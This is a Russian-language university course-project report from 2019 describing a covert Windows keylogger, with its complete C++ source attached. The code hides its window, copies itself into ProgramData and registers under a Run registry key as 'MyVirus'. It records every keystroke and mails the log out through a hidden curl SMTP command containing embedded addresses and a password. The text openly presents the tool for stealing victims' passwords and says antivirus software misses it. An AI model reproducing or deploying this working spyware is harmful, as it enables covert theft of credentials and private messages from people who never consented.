Министерство образования Республики Беларусь
Учреждение образования
«Белорусский государственный университет информатики и радиоэлектроники»

Факультет компьютерных систем и сетей
Кафедра Информатики
Дисциплина «Архитектура вычислительных систем»

ПОЯСНИТЕЛЬНАЯ ЗАПИСКА
к курсовой проекту на тему:

«Скрытая фиксация ввода текста с клавиатуры»

Выполнил студент группы 753505
Чибисов Иван Васильевич
Руководитель: ассистент кафедры
информатики Леченко Антон Владимирович

Минск 2019

Содержание

Введение

В современном мире информация играет всё больше и больше значения. Существует достаточно много информации, которая должна быть недоступна для других людей: пароли от соц.сетей, платежные данные по карточкам, пароли от интернет банкингов и т.д.

Не смотря на то, что разработчики программного обеспечения (далее ПО) пытаются обеспечить безопасность для пользователя, всё рано есть уязвимость, которую никак не преодолеть. Сам пользователь часто является причиной утечки своей же информации, по неосторожности устанавливая на свой персональный компьютер (далее ПК) вредоносное ПО.

В этой курсовой работе будет рассматриваться программа, которая скрыто фиксирует ввод (далее буду называть кейлоггер). Смысл заключается в овладении паролями и логинами, которые так усердно защищают разработчики ПО. Пользователь вводя на клавиатуре пароль сам того не понимая, сообщает его злоумышленники. Я попробовал написать свой кейлоггер и в этой работе расскажу, что из этого вышло.

1.Постановка задачи

1.1. Задачи проектирования

Своей главной задачей я поставил создание такого кейлоггера, который будет не заметен для пользователя, а также позволит получить введенные пользователем данные (далее лог) на какой-то удаленный сервер или email.

Нужно сделать также методы для добавление моей программы в автозагрузку, чтобы пользователю потребовалось только один раз случайно запустить мой кейлоггер, а потом он сам бы запускался каждый раз при запуске системы.

В программе должен быть цикл, который поочередно опрашивает все клавиши клавиатуры, нажаты они или нет, и, если нажата, то записывает его в лог. Всё это должно не нагружать систему, чтобы нельзя было невооруженным взглядом в диспетчере задач понять, какая задача является моим кейлоггером.

В функции обработки нажатия нужно сделать так, чтобы вывести в лог то, что нам нужно, т.е. обработать различие больших и малых букв алфавита, нажатие клавиши Shift.

1.2. Требования к разрабатываемому программному обеспечению

Готовый программный продукт должен удовлетворять следующим требованиям:

1. Быть максимально незаметным для пользователя
2. Не нагружать систему своей работой
3. Ставить себя в автозагрузку
4. При достижении определенного количества символов в логе, отправлять лог на определённую мной почту и очищать файл лога для дальнейшего использования
5. Реагировать на нажатие Shift и Caps на клавиатуре, т.е. писать в лог большую и маленькие буквы;

Таким образом, задача данного курсового проекта сводится к разработке простой полноценной шпионской программы.

2.Проектирование задачи

2.1. Используемые технологии

Приложение реализовано на языке C++ с использованием технологии WinAPI частично, а также библиотек windows.h и winuser.h. В качестве среды разработки была выбрана Visual Studio 2017.

2.2. Среды реализации задачи

2.2.1. Visual Studio 2017

Microsoft Visual Studio - полнофункциональная интегрированная среда разработки (IDE) с поддержкой популярных языков программирования, среди которых C, C++, VB.NET, C#, F#, JavaScript, Python.

Функциональность Visual Studio охватывает все этапы разработки программного обеспечения, предоставляя современные инструменты для написания кода, проектирования графических интерфейсов, сборки, отладки и тестирования приложений. Возможности Visual Studio могут быть дополнены путем подключения необходимых расширений.

Редактор кода Visual Studio поддерживает подсветку синтаксиса, вставку фрагментов кода, отображение структуры и связанных функций. Существенно ускорить работу помогает технология IntelliSense - автозавершение кода по мере ввода.

Встроенный отладчик Visual Studio используется для поиска и исправления ошибок в исходном коде, в том числе на низком аппаратном уровне. Инструменты диагностики позволяют оценить качество кода с точки зрения производительности и использования памяти.

Дизайнер форм Visual Studio незаменим при разработке программ с графическим интерфейсом, помогая спроектировать внешний вид будущего приложения и работу каждого элемента интерфейса.

Наконец, Visual Studio предоставляет комплекс инструментов для автоматизации тестирования приложений в части проверки работы интерфейсов, модульного и нагрузочного тестирования.

Для командных проектов Visual Studio предлагает поддержку групповой работы, позволяя выполнять совместное редактирование и отладку любой части кода в реальном времени, а в качестве системы управления версиями использовать Team Foundation или Git.

Основным расширением файла, ассоциированным с Microsoft Visual Studio, является SLN – Visual Studio Solution File (Файл решения Visual

Studio), при открытии которого в программу загружаются все данные и проекты, связанные с разрабатываемым программным решением.

2.2.2. C++

Си++ (англ. C++) — компилируемый строго типизированный язык программирования общего назначения. Поддерживает разные парадигмы программирования: процедурную, обобщённую, функциональную; наибольшее внимание уделено поддержке объектно-ориентированного программирования.

Разработка языка началась в 1979 году. Целью создания C++ было дополнение C возможностями, удобными для масштабной разработки ПО, с сохранением гибкости, скорости и портабельности C. Вместе с тем создатели C++ стремились сохранить совместимость с C: синтаксис первого основан на синтаксисе последнего, и большинство программ на C будут работать и как C++. Изначально новый язык назывался “C с классами”, но затем имя было изменено на C++ — это должно было подчеркнуть как его происходжение от C, так и его превосходство над последним.

2.2.3. windows.h и winuser.h

windows.h является файлом заголовков для языка C программирования, который содержит заявления для всех функций в Windows API, все общие макросы, которые используются программистами окон, и все типы данных, используемых различными функциями и подсистемами. Он определяет большое количество окон, конкретные функции, которые могут быть использованы в C. Win32 API могут быть добавлены в проект программирования C, включив <windows.h> заголовком файла и ссылки на соответствующие библиотеки.

winuser.h заголовок используется элементами управления Windows.

3.Программная реализация

В данном разделе будет рассмотрена архитектура приложения.

3.1. Структура приложения

Действия начинаются в функции main() . Изначально я копирую текущий .exe файл на диск C в папку ProgramData. Это нужно для того, чтобы мой кейлоггер появился сразу на компьютере жертвы в неожиданном месте на диске C, даже если я запущу его с флеш-накопителя.

Далее прячется консоль приложения, всё-таки изначально у нас консольное приложение, а мы не хотим быть заметными, поэтому консоль прячем сразу.

После я проверяю, записан ли мой кейлоггер в автозагрузку компьютера. Если записан уже, то никаких действий не делаем, а если не записан, то записываем его. Для этого создаем для него новый ключ. А после по этому ключу заносим в папку виндовс для автозагрузок этот ключ.

После всего этого наконец начинается цикл, к котором программа опрашивает кнопки клавиатуры о том, нажаты они или нет. Чтобы этот бесконечный цикл не грузил процессор, каждые 150 итераций цикла программа засыпает на одну миллисекунду. В этом же цикле я проверяю, было ли выведено в лог 1000 символов, и если было, то отправляю лог на email с помощью curl и smtp. Лог очищается.

И так, если цикл нашел нажатую клавишу, то происходит переход в функцию обработки нажатия, где определяется, был ли нажат Caps Lock или Shift при вводе, чтобы вывести буквы в верхнем или нижнем регистре. Или если была нажата служебная клавиша, то сообщается, что такая была нажата. В итоге в лог заносится нужный символ.

4. Описание применения

Данная программа может применяться для получение паролей, переписок, логинов и т.п. Достаточно запустить .exe файл на компьютере жертвы и всё, вы будете получать на почту то, что там вводится в ПК.

Делается всё достаточно скрытно, антивирусы не видят угрозы. При достаточном доступе к компьютеру можно забирать лог прямо с компьютера.

Можно поменять почту на любую другую в этих строках

```
auto command = "curl --url
\"smtps://smtp.gmail.com:465\" --ssl -reqd --mail-
from \"simple1keylogger1for1project@gmail.com\" --
mail-rcpt \"lenavasi78@mail.ru\" --upload-file
\"C:\\ProgramData\\MYLOGS.TXT\" --user
\"simple1keylogger1for1project@gmail.com:ABCD_1234\"
--insecure";
```

Всё использование заключается в первом запуске и дальнейшем получением лога на выбранную почту.

Заключение

В ходе выполнения курсовой работы были более подробно изучены следующие вопросы:

-Опрос клавиатуры в программе на языке Си++ о нажатых клавишах и обработка этих нажатий.

- Занесение приложения в автозагрузку программно

-Отправка сообщения на почту программно, не беспокоя пользователя.

- Сокрытие консоли

- Базовые навыки и сведения о программах шпионах

Результатом работы является работающий кейлоггер, который был написан в ознакомительных целях, но может использоваться. Решается главная задача получения лога с компьютера жертвы.

Приложение рекомендую использовать в англоговорящих странах, либо к нему лучше написать программу, которая будет переводить текст из лога на язык страны использования. Такая программа для русского языка пишется достаточно легко, но выходит за рамки этого курсового проекта.

Приложение.
Исходный код.

```
#include "pch.h"

#include <iostream>
#include <windows.h>
#include<winuser.h>
#include <locale>
#include<stdio.h>
#define _CRT_SECURE_NO_WARNINGS

using namespace std;

int SaveLogs(int key_stroke, const char *file);
void Stealth();
BOOL RegisterMyProgramForStartup(PCWSTR pszAppName, PCWSTR pathToExe, PCWSTR args);
BOOL IsMyProgramRegisteredForStartup(PCWSTR pszAppName);
void RegisterProgram();

int main()
{
	wchar_t szPathToExe[MAX_PATH];
	GetModuleFileNameW(NULL, szPathToExe, MAX_PATH);
	FILE *f1 = _wfopen(szPathToExe, L"rb");
	wchar_t second_path[MAX_PATH] = L"C:\\ProgramData\\sample.exe";
	FILE *f2 = _wfopen(second_path, L"wb");
	fseek(f1, 0, SEEK_END);
	int file_size = ftell(f1);
	rewind(f1);

	char *buffer = (char*)malloc(file_size);

	fread(buffer, 1, file_size, f1);
	if (f2 != nullptr)
	{
		fwrite(buffer, 1, file_size, f2);
		fclose(f2);
	}
	Stealth();
	FILE* f = _wfopen(L"C:\\ProgramData\\MYLOGS.txt", L"w");
	if (f != nullptr)
		fclose(f);
	if (!IsMyProgramRegisteredForStartup(L"MyVirus"))
	{
		RegisterProgram();
	}
	int k = 0;
	while (true)
	{
		for(int i = 8; i <= 190; i++)
		{
			if (GetAsyncKeyState(i) == -32767)
			{
				k++;
				SaveLogs(i, "C:\\ProgramData\\MYLOGS.txt");
				if (k == 1000)
				{
					auto command = "curl --url \"smtps://smtp.gmail.com:465\" --ssl -reqd --mail-from \"simple1keylogger1for1project@gmail.com\" --mail-rcpt \"lenavasi78@mail.ru\" --upload-file \"C:\\ProgramData\\MYLOGS.TXT\" --user \"simple1keylogger1for1project@gmail.com:ABCD_1234\" --insecure";
```

```
                                        WinExec(command, SW_HIDE);
                                        Sleep(10000);
                                        FILE* f = _wfopen(L"C:\\ProgramData\\MYLOGS.txt", L"w");
                                        if (f != nullptr)
                                                fclose(f);
                                        k = 0;

                                }
                        }
                        if (i % 150 == 0)
                        {
                                Sleep(1);
                        }
                }
        }
        return 0;
}

int SaveLogs(int key_stroke, const char *file)
{
        if ((key_stroke == 1) || (key_stroke == 2))
                return 0;
        FILE *OUTPUT_FILE;
        cout << key_stroke << endl;
        OUTPUT_FILE = fopen(file, "a+");
        if (key_stroke == 8)
                fprintf(OUTPUT_FILE, "%s", "[BACKSPACE]");
        else if (key_stroke == 13)
                fprintf(OUTPUT_FILE, "%s", "\n");
        else if (key_stroke == 32)
                fprintf(OUTPUT_FILE, "%s", " ");
        else if (key_stroke == VK_TAB)
                fprintf(OUTPUT_FILE, "%s", "[TAB]");
        else if (key_stroke == VK_SHIFT)
                fprintf(OUTPUT_FILE, "%s", "[SHIFT]");
        else if (key_stroke == VK_CONTROL)
                fprintf(OUTPUT_FILE, "%s", "[CONTROL]");
        else if (key_stroke == VK_ESCAPE)
                fprintf(OUTPUT_FILE, "%s", "[ESCAPE]");
        else if (key_stroke == VK_END)
                fprintf(OUTPUT_FILE, "%s", "[END]");
        else if (key_stroke == VK_HOME)
                fprintf(OUTPUT_FILE, "%s", "[HOME]");
        else if (key_stroke == VK_LEFT)
                fprintf(OUTPUT_FILE, "%s", "[LEFT]");
        else if (key_stroke == VK_UP)
                fprintf(OUTPUT_FILE, "%s", "[UP]");
        else if (key_stroke == VK_RIGHT)
                fprintf(OUTPUT_FILE, "%s", "[RIGHT]");
        else if (key_stroke == VK_DOWN)
                fprintf(OUTPUT_FILE, "%s", "[DOWN]");
        else if (key_stroke == 190 || key_stroke == 110)
                fprintf(OUTPUT_FILE, "%s", ".");
        else if (key_stroke == VK_CAPITAL)
                fprintf(OUTPUT_FILE, "%s", "[CAPS LOCK]");
        else
        {
                if (key_stroke >= 48 && key_stroke <= 57)
                {
                        if (((GetKeyState(VK_SHIFT) & 0X0001) != 0))
                        {
                                switch (key_stroke)
```

```
                {
                case 48:
                        fprintf(OUTPUT_FILE, "%s", ")");
                        break;
                case 49:
                        fprintf(OUTPUT_FILE, "%s", "!");
                        break;
                case 50:
                        fprintf(OUTPUT_FILE, "%s", "@");
                        break;
                case 51:
                        fprintf(OUTPUT_FILE, "%s", "#");
                        break;
                case 52:
                        fprintf(OUTPUT_FILE, "%s", "$");
                        break;
                case 53:
                        fprintf(OUTPUT_FILE, "%s", "%");
                        break;
                case 54:
                        fprintf(OUTPUT_FILE, "%s", "^");
                        break;
                case 55:
                        fprintf(OUTPUT_FILE, "%s", "&");
                        break;
                case 56:
                        fprintf(OUTPUT_FILE, "%s", "*");
                        break;
                case 57:
                        fprintf(OUTPUT_FILE, "%s", "(");
                        break;
                }
        }
        else
        {
                fprintf(OUTPUT_FILE, "%s", &key_stroke);
        }
}
else
{
        switch (key_stroke)
        {
        case 187:
                if ((GetKeyState(VK_SHIFT) & 0X0001) != 0)
                        fprintf(OUTPUT_FILE, "%s", "+");
                else
                        fprintf(OUTPUT_FILE, "%s", "=");
                break;
        case 189:
                if ((GetKeyState(VK_SHIFT) & 0X0001) != 0)
                        fprintf(OUTPUT_FILE, "%s", "_");
                else
                        fprintf(OUTPUT_FILE, "%s", "-");
                break;
        case 106:
                if ((GetKeyState(VK_SHIFT) & 0X0001) != 0)
                        fprintf(OUTPUT_FILE, "%s", "*");
                else
                        fprintf(OUTPUT_FILE, "%s", "*");
                break;
        case 111:
                if ((GetKeyState(VK_SHIFT) & 0X0001) != 0)
```

```
                                        fprintf(OUTPUT_FILE, "%s", "/");
                                else
                                        fprintf(OUTPUT_FILE, "%s", "/");
                                break;
                        case 107:
                                if ((GetKeyState(VK_SHIFT) & 0X0001) != 0)
                                        fprintf(OUTPUT_FILE, "%s", "+");
                                else
                                        fprintf(OUTPUT_FILE, "%s", "+");
                                break;
                        case 109:
                                if ((GetKeyState(VK_SHIFT) & 0X0001) != 0)
                                        fprintf(OUTPUT_FILE, "%s", "-");
                                else
                                        fprintf(OUTPUT_FILE, "%s", "-");
                                break;
                        case 190:
                                if ((GetKeyState(VK_SHIFT) & 0X0001) != 0)
                                        fprintf(OUTPUT_FILE, "%s", ">");
                                else
                                        fprintf(OUTPUT_FILE, "%s", ".");
                                break;
                        case 188:
                                if ((GetKeyState(VK_SHIFT) & 0X0001) != 0)
                                        fprintf(OUTPUT_FILE, "%s", "<");
                                else
                                        fprintf(OUTPUT_FILE, "%s", ",");
                                break;
                        case 186:
                                if ((GetKeyState(VK_SHIFT) & 0X0001) != 0)
                                        fprintf(OUTPUT_FILE, "%s", ":");
                                else
                                        fprintf(OUTPUT_FILE, "%s", ";");
                                break;
                        default:
                                if (((GetKeyState(VK_CAPITAL) & 0x0001) != 0) ||
((GetKeyState(VK_SHIFT) &0X0001) != 0))
                                {
                                        fprintf(OUTPUT_FILE, "%s", &key_stroke);
                                }
                                else
                                {
                                        key_stroke += 32;
                                        fprintf(OUTPUT_FILE, "%s", &key_stroke);
                                }
                                break;
                        }
                }

        }
        fclose(OUTPUT_FILE);
        return 0;
}

void Stealth()
{
        HWND stealth;
        AllocConsole();
        stealth = FindWindowA("ConsoleWindowClass", NULL);
        ShowWindow(stealth, 0);
}
```

```
BOOL IsMyProgramRegisteredForStartup(PCWSTR pszAppName)
{
	HKEY hKey = NULL;
	LONG lResult = 0;
	BOOL fSuccess = TRUE;
	DWORD dwRegType = REG_SZ;
	wchar_t szPathToExe[MAX_PATH] = {};
	DWORD dwSize = sizeof(szPathToExe);

	lResult = RegOpenKeyExW(HKEY_CURRENT_USER,
L"Software\\Microsoft\\Windows\\CurrentVersion\\Run", 0, KEY_READ, &hKey);

	fSuccess = (lResult == 0);

	if (fSuccess)
	{
		lResult = RegGetValueW(hKey, NULL, pszAppName, RRF_RT_REG_SZ, &dwRegType,
szPathToExe, &dwSize);
		fSuccess = (lResult == 0);
	}

	if (fSuccess)
	{
		fSuccess = (wcslen(szPathToExe) > 0) ? TRUE : FALSE;
	}

	if (hKey != NULL)
	{
		RegCloseKey(hKey);
		hKey = NULL;
	}

	return fSuccess;
}

BOOL RegisterMyProgramForStartup(PCWSTR pszAppName, PCWSTR pathToExe, PCWSTR args)
{
	HKEY hKey = NULL;
	LONG lResult = 0;
	BOOL fSuccess = TRUE;
	DWORD dwSize;

	const size_t count = MAX_PATH * 2;
	wchar_t szValue[count] = {};
	wcscpy_s(szValue, count, L"\"");
	wcscat_s(szValue, count, pathToExe);
	wcscat_s(szValue, count, L"\" ");

	if (args != NULL)
	{
		wcscat_s(szValue, count, args);
	}

	lResult = RegCreateKeyExW(HKEY_CURRENT_USER,
L"Software\\Microsoft\\Windows\\CurrentVersion\\Run", 0, NULL, 0, (KEY_WRITE | KEY_READ), NULL,
&hKey, NULL);

	fSuccess = (lResult == 0);

	if (fSuccess)
	{
```

```
		dwSize = (wcslen(szValue) + 1) * 2;
		lResult = RegSetValueExW(hKey, pszAppName, 0, REG_SZ, (BYTE*)szValue, dwSize);
		fSuccess = (lResult == 0);
	}
	if (hKey != NULL)
	{
		RegCloseKey(hKey);
		hKey = NULL;
	}
	return fSuccess;
}

void RegisterProgram()
{
	wchar_t szPathToExe[MAX_PATH] = L"C:\\ProgramData\\sample.exe";
	RegisterMyProgramForStartup(L"MyVirus", szPathToExe, L"-foobar");
}
```

Список использованных источников

https://docs.microsoft.com/ Информация о библиотеках и функциях
https://ru.wikipedia.org Базовая информация о платформе и языке
https://stackoverflow.com Многие тонкости реализации